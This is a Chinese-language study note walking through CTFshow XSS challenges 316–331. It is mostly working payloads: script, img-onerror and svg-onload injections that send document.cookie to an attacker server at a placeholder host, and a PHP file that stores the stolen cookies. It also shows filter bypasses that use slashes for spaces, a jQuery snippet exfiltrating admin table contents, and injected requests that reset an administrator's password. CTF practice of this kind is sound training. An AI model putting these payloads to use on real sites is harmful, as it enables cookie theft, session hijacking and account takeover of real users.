Web学习38

XSS跨站-防御修复&绕过策略
xss绕过相关文章:https://xz.aliyun.com/t/4067?time__1311=n4%2BxnD0DyGYQqxmw405%2BbWbi%3DDkSekkY1DRYD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F4067#toc-5

案例

XSS绕过-CTFSHOW-316到331关卡绕过WP
XSS修复-过滤函数&http_only&CSP&长度限制

316 知识点:反射型-直接远程调用

输入<script>alert(1)</script>来确认能不能输入js语句

发现是可以的

payload:<script>window.location.href=”http://xxxxx/get.php?c="+document.cookie\

在服务器准备一个接收文件get.php接收cookie

<?php
$cookie = $_GET['c'];
$myfile= fopen("cookie.txt","w+");
fwrite($myfile,$cookie);
fclose($myfile);
?>

输入xss语句,然后就可以在自己的服务器上接收到机器人发过来的cookie值,保存在了cookie.txt这个文件里

这是刚刚自己访问得到的cookie值,由于我们自己不是管理员,所以是得不到flag的,flag在机器人管理员的cookie值中

机器人会自动的访问他,再刷新一下,就得到了flag

317 知识点:过滤<script>

这题过滤了script,我们可以用<img>标签来执行跨站语句
<img src=1 onerror=alert(“xss”);>这样就可以成功执行语句
payload: <img src=1 onerror=window.location.href=’http://xxxx/get.php?c='+document.cookie;>

在使用js语句的时候,最好使用不需要任何条件就可以触发的语句,比如说onload就可以直接加载数据,而onerror需要触发错误才可以触发,onclick需要点击鼠标才可以触发,而机器人显然是没有点击鼠标这个操作的,所以这题上面的payload没有用,因为这里设计的机器人并没有触发错误,我们前面payload的图片1,是实际存在的,所以并没有触发报错,我们可以把1换成其他复杂的字符应该就可以触发了

318/319 知识点:过滤<script><img>

payload:<svg onload=”window.location.href=’http://xxxx/get.php?c='+document.cookie;>

这个payload可以通杀两关

320-326 知识点:过滤空格

用斜杠代替空格
例子:<img/src=”x”/onerror=alert(“xss”);>

payload:<svg/onload=”window.location.href=’http://xxxx/get.php?c='+document.cookie;>

前面都是反射型,从327关开始变成了存储型

327 知识点:存储型xss

在信的内容写入xss语句就可以了,这题就是个存储型xss应用的地方

payload:<script>window.location.href=”http://xxxxx/get.php?c="+document.cookie\

328 知识点:修改sessionid&注册插入JS

思路:后台管理员有功能页面,能够查看注册用户的账号密码
如果我将注册的账号密码改成JS代码(获取cookie),在管理员查看账号密码的时候会不会触发JS语句

把cookie替换成管理员的phpsessid,这样就可以看到账户密码,里面就有flag

329 知识点:失效凭据

这题sessionid失效,刚发过来就会失效,session会一直修改,所以修改数据包的session是没有用的

payload:

$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show')>-1){
        window.location.href='http://xxxx/get.php?c='+value.innerHTML;
    }
});

将js语句注入到密码这一栏中,然后点击提交触发js语句,然后就可以在自己的服务器得到flag

330-存储型-借助修改密码重置管理员密码(GET)

<script>window.location.href=’http://127.0.0.1/api/change.php?p=123';\

331 知识点:借助修改密码重置管理员密码(POST)

思路:攻击:注册一个用户名和密码存在跳转修改密码的URL地址连接,如果管理员登陆了后台,然后查看了用户的注册密码信息,就可以尝试重置密码

<script src=’http://127.0.0.1/api/change.php?p=123'> </script>

修改密码post
js post提交修改数据包代码
<script>$.ajax({url:’http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});\